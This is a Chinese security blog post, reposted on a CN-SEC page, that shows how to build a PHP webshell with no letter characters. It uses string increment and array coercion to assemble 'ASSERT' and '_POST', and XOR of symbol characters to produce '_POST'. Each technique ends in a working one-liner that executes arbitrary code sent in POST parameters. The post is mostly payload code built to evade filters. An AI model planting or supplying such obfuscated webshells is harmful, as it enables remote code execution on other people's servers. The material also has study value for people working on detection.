无字母 PHP Shell

admin 2023年12月15日00:57:02评论7 views字数 1737阅读5分47秒阅读模式

在处理字符变量的算数运算时, PHP 沿袭了 Perl 的习惯. 例如, a = ‘Z’; a++; 将把 $a 变成’AA’, 注意字符变量只能递增, 不能递减, 并且只支持纯字母 (a-z 和 A-Z).

php 弱类型的坑.

参考 P 牛的文章, 自己整理一下.

利用之前介绍的特性.

首先要有一个字母 A, 之后才能通过递增得到其它字母.

由于 php 弱类型的特性, array 转换为 string 时会得到 Array.

$_ = ''.[];
echo $_; // Array

通过 ! 进行非运算, bool 类型强制转换就会变成 0 or 1.

echo ''; //
echo !(''); // 1
echo ('!'=='@') //
echo !('!'=='@'); // 1

获取字符 A.

$_ = ''.[];
echo $_[''];

之后通过递增获取其它字符.

$_ = ''.[];
$_ = $_[''];
$_; // A
$___ = $_;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$___ .= $__.$__;
$__ = $_;
$__++;$__++;$__++;$__++; // E
$___ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___ .= $__; // ASSERT
$____ = '_';
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____ .= $__; // _POST

变量覆盖 得到 $_POST.

$_ = $$____; // $_POST

拼接.

$___($_[_]); // ASSERT($_POST[_])

php 不区分大小写.

在PHP中, 两个变量进行异或时, 会将字符串转换成二进制再进行异或.

两个 foreach 跑出异或结果, 之后拼接.

<?php
@$_++; // 1
$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST 
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1])
?>

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日00:57:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   无字母 PHP Shellhttp://cn-sec.com/archives/2301419.html

发表评论

匿名网友 填写信息